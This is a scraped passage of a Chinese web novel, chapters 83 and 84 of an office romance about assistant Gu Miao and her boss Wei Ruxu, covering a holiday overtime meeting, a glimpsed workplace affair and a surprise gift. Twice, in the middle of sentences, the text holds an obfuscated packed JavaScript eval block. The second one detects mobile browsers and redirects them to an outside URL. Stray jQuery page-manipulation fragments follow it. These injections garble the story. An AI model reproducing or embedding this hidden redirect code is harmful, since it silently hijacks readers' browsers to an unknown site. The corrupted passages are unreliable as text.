“这不跟你之前拒绝我的理由差不多嘛!你们俩真是亲生的小姨和外甥女!”盛然一拍大腿,沾沾自喜道,“对付你们这种心理,就得像我这样死缠烂打。” “……”凌晏如一脑门黑线,“妙妙的情况还要复杂,不光这个原因。他们两个毕竟没经历过多少事,妙妙害怕,如栩不去逼她,这也是好的。给他们点时间吧——麻烦你老人家别这么得意行吗?真是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“公司啊……公司好着呢,没什么事,值班的情况每天都有记录,发到你邮箱了。”伴随着那甜味,顾妙的心跳陡然加速,坐在沙发上有点不知所措。 魏如栩:“那你说说吧,刚刚那么欲盖弥彰的,八成有事吧。不开心?” “哪有……出来秋游有什么不开心的。就……就可能人有点多,闹得慌。”也不知道是不是听到了干爹的声音,小狼突然跳到顾妙的膝盖上,站起来扒着她的手臂,冲电话“喵”了一声。 “你真把狼带上了?”魏如栩乐了,“在酒店?” 顾妙莫名尴尬,仿佛自己那颗不甘寂寞的小灵魂被魏如栩看得透透的:“嗯啊……他一个未成年的猫在家我不放心,就带来了……我还背着他去逛的景点,累死我了,照相也没好好照,一张黑历史被顾肖那死孩子发到朋友圈,幸亏我赶紧让他给删了,幸亏你没看见。” “为什么幸亏我没看见?”魏如栩促狭地问。 顾妙:“……” “还记得有个人说我偶像包袱重,现在原样奉还。”魏如栩声音沉了下来,带了一点点鼻音,听起来像撒娇,“唉,我都想回去了,这边特没意思。” 魏如栩偶尔撒娇,每回都让顾妙有点不知道怎么办好,这次倒是让她心里更甜,糖分高得险些要醉过去。 她下意识地撸着怀里的小狼,努力找回一个做助理的本分:“你就多陪老魏总几天嘛,他身体怎么样了?” “我看挺好的,反正吼我的时候中气十足。”魏如栩问道,“对了,你有什么要我给你带回去的吗?化妆品、日用品、手办什么的。” 顾妙:“不用不用,你别给我带东西,我什么都不缺。” “别着急拒绝,仔细想想,想好了列单子给我就成。”魏如栩说,“我爸可能再待一个月就回去,毕竟在这里停留时间有限制,下次我再过来还不知道什么时候呢。” “一个月就回来?那他……是要回公司上班吗?”顾妙抓住了最关键的一点,本来转好的心情有掉头下跌的趋势。 如果老魏总回来,小魏总他会不会就要走了? 魏如栩似乎听出了她的顾虑:“那倒没有,他没那么着急回来,我也希望这次他能彻底把身体养好,要不然真经不起折腾。” 顾妙悬到喉咙口的心缓缓落了回去:“过两天你回来,我去接你吧。” 魏如栩“哈哈”笑了两声:“就你那二把刀车技,我可不敢让你来。在家等着吧,约个车就回去了。” “也行,想吃什么告诉我,提前给你做。”顾妙说,“盛总带我们来吃温泉山庄的淮扬菜馆子,要是好吃我也带你来。” “唉……”魏如栩发出一声哀叹,“说得我现在就想回去!我都想你们了!” 他说的“你们”是指顾妙和小狼,但他觉得顾妙会理解成他们一家人吧。 “我们也想你。”顾妙摸摸小狼的脑袋,其实她想表达的也不过是自己和小狼而已,“到饭点儿了,你快回去陪你爸爸吃饭吧,今天中秋节呢。” 魏如栩依依不舍:“嗯,那……拜拜?” 顾妙:“等下——老板……那个……如栩,中秋节快乐。” “中秋节快乐,亲爱的顾助理。”魏如栩的声音洋溢着掩饰不住的快乐,挂了电话,他站在疗养院走廊的窗口处忍不住手舞足蹈,心里来回咆哮着同一句话。 “她叫我名字啦,哈哈!她叫起来特别好听呢!” “如栩,魏总喊你吃饭。”一个身穿休闲西装的中年男子走过来,向他招呼道。 魏如栩雀跃地扑了过去,兴奋地搂住中年男子大声喊:“高叔叔,中秋节快乐!” 说罢他又蹦蹦跳跳地向魏远生的房间跑去,高助理茫然地望着他,无奈摇了摇头:“这孩子,还从没见他这么高兴过。” 83. 第八十三章 胡来的加班 魏如栩的电话就像一剂良药,看起来平平无奇,但药到病除,顾妙原本的颓丧被一扫而空,心情肉眼可见地好了起来。 总结原因,她不太愿意承认是“喜欢”和“惦念”产生的双重作用,掩耳盗铃地解释为那天背小狼游景点实在太累,导致心情沮丧,接下来两天只是泡泡温泉,在咖啡馆晒太阳看风景发呆,另外两对各自单独行动,再不用被强塞狗粮,顾妙情绪自然好很多。 谁都知道她口是心非,但谁都没去拆穿。 三天秋游一晃而过,顾妙原本五号该去公司值班,可是四号她在家就坐不住了。 这天她躺在床上自然醒,喊了声“顾肖”没人应,抓过手机来看到了他的留言,这娃和盛缘跑去跟新结识的校友聚会去了,说是一天都不回来。再联系凌晏如,得知盛然要带她去看老中医,顺便在市里转一圈,买一点日用品,言下之意:忙,没空,自己找节目。 “盛总不用加班吗?我怎么记得客户部好像也挺忙的?!”顾妙盯着手机屏幕腹诽,“就这么爱美人不爱江山?” 突如其来的落寞席卷顾小妙,她觉得有点奇怪,怎么以前就没有这种落单的感觉呢?从没觉得孤独寂寞冷有什么可怕的。 再转念一想,以前她把自己的日程表排得满满当当,就怕打工时间错不开,丁点发愣的机会都没有,当然不会感觉孤独,也不会像现在这样情绪不稳,果然人闲了就要胡思乱想。 看现在这意思,难不成从今往后也能做个富贵闲人? 这话刚在脑海中浮现,她想了一秒,先把“富贵”俩字删了,犹豫了一会儿,把“闲人”也删了。公司电脑里还堆着一堆待办事项,她哪好意思管自己叫“闲人”! 顾妙百无聊赖地在家里转悠了一圈,跟小狼互动二十分钟,最终决定梳妆打扮,去公司干活儿。 说干就干,反正闲着也是闲着,一番折腾之后,顾妙从人声鼎沸的地铁上下来,一路穿过拥挤的人群,进了写字楼一侧的电梯,耳边就像是被人按下了消音键,瞬间变得清净。 假日的写字楼里很是冷清,与外面商圈的喧闹形成鲜明对比。公司里更是安静,一层办公区工位上人并不多,顾妙好奇地往左边一张望,敢情都在会议室里待着呢。 几个会议室都满满的,拉着百叶窗,看不出都是谁在开会。不过用脚后跟想也知道,肯定是创意部和策划部那帮人。顾妙突然很好奇,不知道创意A组会给出怎样的广告片脚本,想想心里还有点小期待。 她一边胡思乱想着,一边上楼,开了办公室的门。里面还是放假前最后一天上班的模样,几天没有保洁打扫,桌子上覆盖了薄薄的一层灰尘。 顾妙有点看不下去,先煮上咖啡,把窗户打开通风,给几棵绿植晒晒太阳,再翻出清洁湿巾,把魏如栩的桌子和小吧台都仔细擦了一遍。 今天天气依旧很热,先前挤地铁的时候顾妙身上就挤出一身大汗。办公楼里中央空调已经关了,房间内虽然开了窗,但还是让人闷得难受。她伸头看看窗外的太阳,周围晕着一圈云雾,时明时暗的,她猜想今天八成可能要下雨。 整体都收拾停当之后,顾妙端着杯子坐在工位上,喝口咖啡,用小风扇吹着风,打开电脑看邮件,满身潮汗渐渐消退,突然就感觉特别熨帖舒服,比放假什么的惬意多了。 想到这里,她嘴角抽搐了一下,难不成自己就是天生的劳碌命,一放假就心神不定? 不过顾妙也明白,现在舒服,是因为这是自愿加班,不用打卡也没有人管,平时上班可没这么爽。让她觉得熨帖的,不过是自己掌握了充分的主动性罢了。 工作上一些琐碎的事情很快就做完了,中午吃过饭之后,顾妙便开始看专业书,看着看着眼皮都快合上了。就在她困得一佛出世二佛升天的时候,突然有人敲门,吓得她一激灵。 “小顾?你怎么来了?” 顾妙茫然地抬头,用了半秒钟的时间才对上焦:“翔哥?你今天也加班吗?” “嗯,廖总临时叫我过来的。”车翔走近顾妙的办公桌,表情有点严肃。 “临时叫过来?放假你没出去玩吗?” 车翔挠了挠头:“到处都是人,就没想着出门。也幸好没出去——世纪明光的项目遇到了一些问题。” 听到这个公司名,顾妙后颈的汗毛就站了起来,上次的狭路相逢还历历在目,可别出了什么事儿把锅扣她脑袋上。 不对,身为员工,不是应该先关心项目吗? “……出什么事了?”顾妙掩饰不住紧张,“不会是因为上次……孙总对我有意见吧?借题发挥什么的?” 看到她这副风声鹤唳的样子,车翔笑了:“别多想,孙总有意见也没用,他被辞职了。” “被辞职?”顾妙眼睛瞪得大大的,“为什么?” “这其实是廖总那边得到的消息,并没对外公开。据说是孙总作风上有点问题,节前爆出来的。具体什么事我也不太好说,总之是孙总老婆去公司闹了,搞得事情有点难堪。”车翔没有感情地阐述了一下。 顾妙眼前展开了一副正房抓着小三头发、在世纪明光公司办公区大打出手的画面,在她的脑海中,其惊心动魄程度不次于八点档狗血剧和家庭伦理调解节目。 “孙总……在公司有小三啊?”顾妙眨眨眼,“胆子还挺大的,不都是兔子不吃窝边草吗,这很容易被动啊!” 不是,我在想什么,背叛者可耻! 一听就知道她大开脑洞,车翔无奈摇了摇头:“没有小三,还不是他自己平时咸猪手。就算有小三也好处理,是他自己丢人,公司顶多劝诫,不会插手他的家事。但这次一些被孙总骚扰过的女员工打算合起伙来起诉他,所以世纪明光就先让孙总辞职,让他体面点走,也避免公司受牵连。” 想起孙总挨着自己的时候那令人恶心的各种行为,顾妙就觉得他活该:“哼!善恶终有报,天道好轮回!” “他下去了,我也觉得解气,尤其是他之前那么对你……”车翔看了顾妙一眼,眼神有些黏腻。 顾妙被他看得起了一身鸡皮疙瘩,一边心想着“难道我穿帮了”一边把眼神错开,摆了摆手:“不想那事儿了,想起来就反胃。” “不过现在有点麻烦,先前为了争取这个项目,提案里好多表达都迎合了孙总的一些想法。现在对方新上任的市场总监是名女性,我们对她的偏好也不是很了解,廖总正在做调查,提案也得重新调整,所以参与这个项目的同事都被拉来开会了。”车翔眉间微蹙,仿佛这次修改很棘手的样子。 顾妙不解:“提案不是针对他们的市场策略做的吗?难不成还针对孙总的个人口味?换个人就要做很大的改变吗?” 车翔苦笑了一下:“既然孙总是最后的决策者,自然还是得考虑到他的喜好——我就是碰巧遇见你,跟你说一声,廖总因为这个事儿气正不顺,见了他你尽量低调。” 顾妙心想,反正我在他老人家那里算是挂了号了,不管有没有这事儿,他都看我不顺眼,我敢不低调吗? 车翔忙着跟廖玄开会,也没跟顾妙多说,寒暄了两句就走了。 孙总出事这个消息倒是让顾妙的心情又好了几分——这不叫出事,这叫天理昭昭——这老王八蛋看来平时没少祸害我们女同胞,是到了该给这种人反戈一击的时候了! 然而这事儿在顾妙怀里还没揣热乎,策划A组的包鑫突然来了,敲敲门说:“顾助理?” 顾妙跟包鑫平时没什么来往,毕竟他的直属上司是策划部的叶磊和谈彬锐。唯一一次交集就是上次车翔出差、顾妙代班廖玄助理的时候跟他们开的一次提案预演会,那次会议让顾妙记忆犹新,毕竟全天下的埋怨都落到她头上了。 “鑫哥?快请进。”顾妙忙不迭站起来,不知道对方来者善不善,还是小心点伺候比较好。 包鑫客套地笑了笑,靠在门口没往里走:“听说你今天来了,正好我们跟创意部正在讨论爱伴宠物的广告脚本,想请你过去听一听,帮我们出出主意。” 顾妙怔了怔,心想老娘果然今天就不该来吧?来了就有坑等我。 见她没反应,包鑫赶紧补充了一句:“我们都知道这项目是小魏总亲自谈的,大家都很重视,怕做不好。你比较了解小魏总的想法,所以想请你过去给参详参详。” 顾妙有点弄不清了,电动平衡车的项目是这样,爱伴宠物的也是这样,你们做脚本做提案是给一个人看的吗?客户的需求都摆在那,你们也都不是新人,至于这点事儿来问老板的意见?要不让小魏总把脚本写给你们算了?! 吐槽归吐槽,话可不能这么直眉楞眼地说。顾妙有点犹豫到底去不去旁听这个会议,不去吧,怕被人说摆架子,传出去对魏如栩也可能有影响;去吧,又怕什么事儿都问她,她本来就对业务不了解,万一随口说了个什么,被人奉为圭臬,到时候她还真负不起这个责任。 况且她也有点担心这不符合程序的做法背后埋着什么坑,就跟上次HR让她筛简历那事儿似的。 “这不太合适吧,我不懂业务你们是知道的,哪有资格去旁听。”顾妙知道他们私底下都在嘲笑自己没经验,干脆拿这个当挡箭牌,一推二五六。 包鑫不甘放弃,似乎誓要把她拖下水:“我们谈总和创意的喻总都在,他们对这个项目很重视,听说你今天也来了,特意让我来请你过去。” 两个大佬坐镇,连“请”字都用上了,这是要折煞我顾小妙啊! 顾妙赶紧道:“千万别这么说,在谈总喻总面前我就是小辈。也不是我不想去,是我手头确实有事没忙完。” 包鑫一垂眼皮,目光就落在顾妙桌上那本《管理心理学》上。 顾妙:“……” “今天我们好几个项目要讨论,爱伴宠物只是广告片脚本,占得时间不会太长,就辛苦顾助理百忙之中抽点时间去听听吧。”包鑫诚恳地说,“两个部门领导让我来请你过去,这点小事我都办不好,回去要挨说的。” 他的语气和表情都很诚恳,但话说得颇具讽刺意味,尤其最后一句,还有半截没说出来的潜台词,那就是“顾助理你三催四请的都不去,也未免显得架子太大了”。 看来是由不得她说个“不”字了,顾妙叹了口气:“鑫哥,你都这么说了,我还能不去吗?” 她从抽屉里拿了本子和笔,冲包鑫笑了笑:“走吧。” 跟她上午来的时候相比,会议室的使用情况有所改变。 之前是小会议室都占得满满的,看来是各组开各组的会。下午几个部门合并开大会,都转移到了一层最靠里的两个大会议室里。 一间是客户A组、策划A组和创意A组,讨论包含爱伴宠物在内的几个项目,客户部副总监盛然请假,策划部副总监谈彬锐和创意部副总监喻真主持大局,媒介部经理杜聪旁听;另一间阵容更庞大,客户BC、策划BC和创意C组全员参与,廖玄挂帅,策划部总监叶磊、创意部总监方德潜、媒介部总监丁萧然列席,大家一起讨论世纪明光那个电动平衡车提案的修改方向。 电动平衡车是拼提案,合同都还没拿到手,需不需要动用这样大的阵仗还两说,但廖玄是谁,嘉栩的傲娇小公举,就是要这么众星捧月,他发话没人敢不来。 两间会议室,门对门,各打各的仗,都是硝烟弥漫的战场。 而先天不足的创意B组,由于众所周知的原因,没有参会的资格。 所以由此可见,有时候找你来加班也是好事,没人管才完蛋。 顾妙听包鑫大概描述了一下,不得不佩服廖玄。国庆小长假期间,临时加班开会,还能把人头拉得这么齐,是个本事。 不过反过来想,好像所有业务部门的同仁们,都有节假日不出去度假的自觉,看来嘉栩的企业文化还是很可以养人的。 当然了,更大概率的是,每个人都有着过往制定好旅行计划、或者人已经在旅行的路上又被活活拉回来的经验。多来几次,任谁都不指望公休假出去玩了,还不如等项目结束后,揣着奖金,用调休假跑出去嘚瑟来得安心。 最后,顾妙对盛然产生了新的敬意:所有部门大小头都来了,他敢不来,敢陪女朋友出去浪,果然有昏君的潜质。 想到这里,她不禁问包鑫:“大家都来,盛总不来好吗?以前他也总这样吗?” “其实今天要谈的项目涉及的主要是内容方面,是我们策划和创意的工作,客户部有AE来就行,也不是非要盛总亲自到会不可。”包鑫似乎跟盛然交情还可以,没有落井下石,实实在在地说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459460|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “盛总是个工作狂,以前从不缺席会议,偶尔请假一定是有重要的事情。” 唔,目前这个重要的事情,就是陪女朋友。 顾妙暗搓搓地想,不知道大家知道真相之后会作何反应。 一进会议室,顾妙就看到了喻真的棺材脸,感觉周遭的温度赫然下降了几度。 喻真没说话,只是倨傲地冲她点了下头,谈彬锐倒是很热情,站起来冲顾妙招手:“顾助理,抱歉麻烦你,大过节的过来跟我们头脑风暴,来来来,坐这边。” 他拉开身边的椅子,那位置正好在他和喻真中间,这左右夹击的,看上去就让人有点不太舒服。 顾妙也没办法,本来已经耽误了不少时间,也不好在座位上瞎矫情,就依言坐了过去:“大家都是专业人才,我就是来学习的。甭管我,你们继续。” 她表面上装得镇定自若,心里还是惴惴不安的,知道自己不管内在多么空虚,也得咬碎钢牙把花架子支起来,就算是个实打实的绣花枕头,也不能丢了总经办的体面。同时还得小心这里面有什么坑,这毕竟是魏如栩找来的第一个项目,他确实非常重视。 会开了一会儿,顾妙终于轻松下来,看来是她以小人之心度君子之腹,大家都在认真讨论发表见解,并没有人非逼着她发言、指挥大方向。 策划部和创意部确实是专业的,顾妙想到的点子,他们能想到,顾妙想不到的,他们也能想到。讨论的焦点始终在于,关于猫狗的短视频数不胜数,拍出一些好玩的视频也并不难,而他们的广告片要怎样拍,怎样表达,才能兼顾独特性和实用性,同时还能够精准传达产品的卖点。 讨论过程激烈而乏善可陈,想法层出不穷,却又都支离破碎。顾妙本以为讨论创意的头脑风暴会很有趣,现在看来更多的是焦灼,好像所有精光闪亮的珠子、钻石都在了,就缺一个主心骨,把这些关键点穿起来,组成一条精致完美的项链。 窗外的天色突然阴沉了起来,天际划过几道闪电,轰隆隆的雷声接踵而至,还没给人留下喘息的时间,大雨就轰然落下。 这突然来袭的雨一解近日来反攻的暑气,为会议室里带来了一丝清凉,众人间乌云盖顶的气氛也被吹散。最后是喻真提了一个想法,建议五部短片可以拼成一个小故事。 两部短片讲猫,一个女孩子养猫,从猫的基本性格出发,猫小的时候粘人而淘气,猫长大了高冷却会在不经意的时间给主人以关心。 两部短片讲狗,主角是男孩,狗小的时候活泼难驯,总给主人找各种各样的麻烦,狗长大了温和且可依靠,甚至还帮主人签了红线。 所以养狗的男孩和养猫的女孩在最后的短片里相识相恋,最终走到一起,猫狗从打得鸡飞狗跳到和平相处。两个主人结婚后生了对双胞胎,猫狗最终成了尽职的保姆,各守一个宝宝,将宠物与主人之间相依相伴的温情传递下去。 在场所有人对这个大框架表示没有异议,谈彬锐也觉得这样的串联可以兼具搞笑和温情,也符合甲方的要求,只是细节部分还要强调产品的作用。 顾妙整场都没有发言,并不是她故意不说话,而是她脑子里忙个不停,积极记录、消化大家的想法。这样一场头脑风暴全情投入下来,焦灼归焦灼,但让她有种莫名的兴奋,似乎很享受这种能把脑白金都给榨出来的思想碰撞。 喻真打量着顾妙,仍旧面无表情。 顾妙无意识地一个回头,撞上了她的眼神,喻真立刻把目光移开。 顾妙:“???” 大方向定了,接下来就是细节的勾勒,需要创意部回去自己创作。 于是谈彬锐看向顾妙:“顾助理有什么想法?” “喻总的想法很吸引人,我没什么问题,剩下就是看细节的呈现了。”顾妙被迫装13,只能说些这样大路边上的话,“这个框架能形成文字的话,可以给小魏总过目。” “嗯,那就辛苦创意部的同事们出文字了。”谈彬锐看了喻真一眼,喻真点了点头,表示没有异议。 顾妙抱着笔记本出了会议室,正撞上对门的会也散了,同事们带着一脑门子火星味儿鱼贯而出,每个人脸上都挂着一副“身体被掏空”的病痨样儿,可以想象那边的战场更惨烈。 想起车翔叮嘱自己最好不要在廖玄面前太招眼,顾妙赶紧汇入散会的人群,溜着墙根迅速逃离现场。 回了总经办,她寻思了一下,把大门关了起来。本来她今天就不该来,这让人知道了才被拉去开会,幸亏没遇上什么尴尬事,要不然真是何苦来哉。 眼看也是快到了下班的时间,还是安生点,多一事不如少一事吧。 顾妙低头翻看刚刚会议上做的记录,由于她大脑还不太能适应多线程工作,边听边记边思考,最终结果就是记录不完整。这次又是临时被拉去开会,负责做会议记录的不是她,于是没带录音笔也不好意思当着喻真的面用手机录,所以现在看着她那象形文字一般的笔记正在发愁。 虽然大框架已定,但她很有兴趣研究一下每个人在会上提的点子,很想揣摩他们提这些想法的出发点是什么。想要学习业务,就先学习做业务的思考方式,掌握这套方法论才是最关键的。 犹豫了半天,顾妙决定去找喻真,要个会议记录来看看。 一楼办公区里没什么人,想必是折腾一天,大家脑浆都要沸腾了,不知道哪位领导大发慈悲,允许大家早点回家休息,吃点猪脑补补什么的明天好回来继续。 环境变得安静,顾妙也下意识地不敢弄出太大声音,于是她放缓了脚步。远远看着喻真办公室的门开着,知道她还没走,便轻手轻脚地走了过去。 还没走到玻璃门外,就听见里边传来了个男人的声音:“干嘛把顾妙拉去开会?憋着什么坏主意呢?” 这是方德潜在说话,一如既往地黏糊油滑,顾妙听了之后:“?!” 难不成真有坑?! 她本能地停下脚步,只听到喻真声音冷冷地说:“我可没想那么多,临时起意罢了。你们那边呢?世纪明光的事儿老廖打算怎么办?” 两个人听上去是在聊业务,顾妙也就不打算藏头露尾显得不磊落,于是向前走了两步,正要敲门,却透过玻璃门,赫然看见喻真和方德潜的姿势亲密得过了头! 84. 第八十四章 双重惊喜 电光石火之间,顾妙便退出了玻璃门的范围,一颗心跳得“咣咣”的,刚刚那一幕又在脑海中浮现。 她看见喻真坐在办公椅上,方德潜躬着身子,几乎是从背后搂住她,俩人脸贴着脸——细节什么的就没看清了,也幸亏没看清,要不然顾妙觉得自己要长针眼。 许是她动作够快,也有可能是屋里两个人全神贯注贴着脸就没抬眼,总之里面的人没有发现顾妙这一闪而过的小身影。 还没等顾妙把气喘匀,喻真的声音又传了出来:“别这样……” “怕什么,外面都没人了。” 不得不说,方德潜的声音很适合去配广播剧里的大淫贼。 顾妙听到这对话,就不敢管喘气儿的事儿了,三步并作两步往回走,还要保持安静不留痕,于是短短几步路被她走出了尿急的感觉——小碎步,一走一扭,看起来有点搞笑。 她就这么心烦意乱地低头走着,忽然就撞到了一个人的胸口上。 “对不……” 那人带着一身秋雨的凉意和潮气,调侃地说:“顾助理,你见鬼了?” 顾妙愣愣地看着眼前突然出现的魏如栩,还以为自己思念成疾产生了幻觉,不由地伸手捏了捏他的脸。 温热的手指触碰到他冰凉的皮肤,魏如栩觉得好像浑身过了电:“……” “不是明天才回吗?今天怎么……”两件事碰撞在一起,顾小妙那熬了一下午的脑子有点处理不过来,她觉得自己的大脑快要过热死机了。 “待着没意思就提前回来了呗,没想到你这么自觉勤奋啊。”魏如栩看到她讶异的样子有点得意,但是见这讶异中没有惊喜,又觉得不太满意,“刚刚干嘛呢?失魂落魄的。” 顾妙想起这茬,惴惴不安地往喻真办公室的方向看了一眼,拉起魏如栩的手腕就往楼上走,一边走还一边把食指放在唇上:“嘘……” 魏如栩懒得提箱子上二楼,就把行李放在了前台桌后面,也难怪顾妙没听到他拉杆箱的轮子声。 他一进门就看见顾妙以一种搞笑的步伐低着头快速走过来,便故意当了路障,让她一头撞上自己。 刚回来就活捉一个晕头转向的顾助理,真是萌萌哒。 但是这会儿见她这么一副做贼心虚的模样,魏如栩实在纳闷儿:“怎么了?” 两人进了总经办,顾妙关上门,好像还不放心,又拉着魏如栩进了他办公室,把隔间门也关上,才坐在沙发上,长出了一口气。 “吓死我了……”顾妙抚着胸口,惊魂未定,“看到不该看的东西了。” 魏如栩把潮乎乎的外套脱了,坐在茶几上,正对着她:“你看见什么了?这天还没黑,不会有鬼吧?” 顾妙正要开口,看到了魏如栩的脸,忽然就哽了一下:“呃……” 这事儿,方便跟老板八卦吗? “?”魏如栩挑眉,“公司里什么事不能跟我说?” 顾妙心道,不能跟你说的多了去了。 不过她想来想去,觉得还是要打着工作的旗号八卦一下,毕竟方德潜和喻真在私人关系上过密,对公司不是件好事情。 “老板,我记得,方总是已婚有娃了,对吗?”顾妙斟酌着语言,小心翼翼地问。 魏如栩点点头:“是啊,他和太太生了对双胞胎,四口之家看着挺幸福的。” “那喻总呢?”顾妙看着魏如栩的眼睛,“好像她离婚了,是不是?” “似乎大概可能是吧,喻总那么高冷的人,跟大家来往也不多,这事儿我们都——你刚刚不会看到他俩!”魏如栩突然明白过来,挠头发的手突然停下,诧异地看着顾妙。 顾妙一脸严肃地冲他点了点头。 婚外情在职场上也不少见,毕竟大家每天工作超过八小时时间在一起,有时候同仇敌忾,产生一些吊桥效应的加持,导致不受控制的情愫迸发什么的在所难免,关键看个人能不能束缚住自己的情感。 这种道德问题不受法律制约,大家各自心里自有评判。 但无论如何,谁也不会想到喻真会跟谁产生感情,毕竟……没人那么抗冻。 不过仔细想想,喻真除了冷一点,其他条件都很不错,本来工作能力强的人就自带魅力,况且她长得也好,眉眼精致,保养得当,比实际年龄要至少年轻五岁,总体衡量的话,这一款的女人的确能激起某一类男人的征服欲。 可能方德潜就喜欢这样的类型,也有可能喻真再冷,对顶头上司也有个限度,反正人家俩就产生感情了,这确实是是铁一般的事实。 除非只是方德潜单方面骚扰喻真,但…… 魏如栩跟顾妙来回传递了几个心照不宣的眼神,交流了一些用语言不太好表达的想法,一致认为,喻真那个性格,谁敢骚扰她,不怕被阉么? 可是话说回来,方德潜不老实不让人意外,可喻真做第三者,就真的太让人意外了。她冷归冷,但平日里接触,给人感觉是个讲规则有底线的人,怎么会…… “唉,算了,这事儿……没什么好说的,就算道德上谴责他们,咱们又不是居委会,还能管这个?”魏如栩皱了皱眉,“除非两人关系影响到公司,否则公司也不好出面。但愿方太太别打上门来就好了。” 提到正房打小三,顾妙忽然觉得天下事情简直巧合得让人意外,不由地问魏如栩:“老板,你知道世纪明光的孙总因为性骚扰女员工被辞职的事吗?” 魏如栩怔了怔,随即便冷笑道:“是吗,报应来得挺快的。” “还不够快。”顾妙想到这人就满心嫌弃,“听说被他骚扰过的女员工要一起告他,世纪明光才让他辞职。事情不闹大的话,说不定他们公司还护着他呢!” “这是长久以来偏见和不平等留下的历史沉疴,想要彻底治愈还需要大家进一步努力。国外平权运动搞了那么久也只是取得一点微弱的成果,何况我们。”魏如栩看着顾妙,搜肠刮肚地想要找些积极的说法来鼓励她,“但不管怎么样,现在已经有越来越多的人愿意站出来对抗这种不平等,即便进展缓慢,只要有进展,就有希望,对不对?” 是啊,也只能这样了,根深蒂固的偏见和男权思维不可能一夜之间消失于无形,这种事情也不是靠吵架或者劝解就能解决的,而是要从每一代人的思想上去纠正观念,前路漫漫,我辈仍需努力呀! 好像是气氛有点沉重,魏如栩翘起嘴角,抬脚轻轻碰了碰顾妙的鞋子:“还没说你呢,怎么突然跑公司来了,我记得你明天才值班。” “每天起床的意义,就是去拥抱工作。”顾妙学着网上流传的五十年代版画表情包的动作,演绎了一下真人版,随即忍俊不禁道,“在家闲着也是闲着,来公司做条咸鱼不是还能刷个好感度嘛!” 说到这里,顾妙把今天的情况简单跟魏如栩做了个汇报,得知公司这么多人如此爱岗敬业,小魏总感到十分安慰,露出了资本家得意的笑容。 顾妙看着他笑,后知后觉地心脏狂跳了起来,心想幸亏刚刚的惊吓冲淡了她见到魏如栩提前回来的惊喜,要不然她还真有可能当场失控,扑过去抱他一下什么的。 那就有点不太好收场了。 魏如栩看看外面将黑的天色,站了起来:“走吧,再热爱工作也得回家休息,可持续发展才是王道。” 顾妙大约明白为什么魏如栩回来先到公司,倒不是他也那么爱岗敬业,也并非有了当老板的自觉,主要是临走的时候车停在了公司的车位上——他是回来取车的,顺便进办公室看一眼,这才连行李都没往里拿。 经过前台的时候魏如栩顺手取了箱子,顾妙却发现,他走的那天拉的20寸小登机箱,摇身一变成了28寸的巨大行李箱。 “几天没见,你箱子发育了?”她调侃道。 魏如栩笑了笑,拉着箱子跟她上了电梯:“可不么,猥琐发育,成长迅速。” 用脚后跟想,这箱子里也应该是塞满了带回来的礼物,顾妙厚着脸皮认为那里边应该有她一份,于是按捺不住好奇心,一直在猜会是什么。 可魏如栩此刻非常淡定,完全没有迫不及待拿出礼物让人惊喜的意思,他听说顾肖不回家吃饭,便在回家的路上的拐了个弯,先带顾妙去吃了顿火锅。 下了雨气温骤降,晚上的温度竟比中午最高温低了有十度,吃火锅正好驱寒。 席间两人有一搭没一搭瞎聊,顾妙礼貌地问了下老魏总的情况,其实也都是客套,毕竟那天通电话的时候已经问过了。 魏如栩则兴致勃勃地跟她讲这次跟他爸和高助理一起过节的琐事,顾妙听着听着有点走神,好奇自己的礼物到底什么。 想来想去她觉得自己实在是有点过分了,人都回来了还得寸进尺地惦记礼物,欲海无涯啊真的是! 顾小妙请清醒一点! 魏如栩注意到她忽然涣散的眼神,低头偷偷弯了弯嘴角,什么都没说。 两人带了一身火锅味儿回去,到了各自家门口,顾妙看了他一眼:“还到我家来看狼吗?” 魏如栩打了个哈欠:“不了,又困又累,再说全身都是味儿,再把我狼给熏着了。” 他一边说着一边按指纹开门,顾妙留恋地看了他一眼,见他丝毫没有喊住她送温暖的意思,略略有些颓丧:“嗯,你折腾了一天,是得好好休息,那……晚安。” 顾肖还没回来,家里只有小狼在上蹿下跳,到顾妙脚边蹭了蹭她裤腿,等于循例打过招呼,便自顾自地玩去了。 顾妙虽然有点怅然,但总归是盼到心里惦念的人回来,礼物不礼物的其实并不重要,所以也并没太在意,扔下包就放水听着歌洗澡。吹头发的时候还在想,明天加班最好别再拉她开会,还得养精蓄锐为六号当模特做准备呢。 刚刚关上吹风机,她就听到有人敲门,还以为是顾肖,伸长脖子喊了一声:“没带钥匙吗?” 外面没人应声,顾妙低头看了一眼自己穿的长袖长裤的家居服,便趿着拖鞋跑过去开门:“改天我也得把门锁换成指纹……啊!” 门口站了个庞然大物,把她吓了一跳,那是一只巨大的卡通橘猫,或者说,是一个穿着卡通橘猫人偶服的人,手里抱着一个大大的礼品盒。 人偶服里是谁不言而喻,顾妙看着面前这只毛绒绒的大型宠物,小心脏被瞬间提至喉咙口,以每分钟180下的速度匀速跳动。她感觉周身血液在猛地凝固了一下之后开始疯狂流动,连带着脸都烧了起来。 “老板?”顾妙试探地喊了一声。 大橘猫的脑袋缓慢摇了摇。 顾妙:“……” 这人是要闹哪样?不回答是几个意思?难道他在角色扮演? 她也不知道人偶服的眼睛在哪,是不是就是那两只猫眼,但她也只能看着那里问道:“小狼?” 大橘猫的脑袋再次缓慢摇动,表示她喊得不对。 小狼饶有兴趣地溜达过来,门虽然敞着,他也并没有往外跑的冲动,在大橘猫的裤脚闻了闻,蹭了蹭,开始不客气地把他当巨型猫爬架往上爬。 顾妙皱了皱眉,好好想了想,终于明白他什么意思,无奈地笑了:“如栩。” 诶,叫个名字而已,为什么感觉这么羞耻。 大橘猫终于满意了,带着腿部挂件小狼同学,摇摇摆摆地进了屋,把门带上,然后转身把怀里的礼品盒递给顾妙。 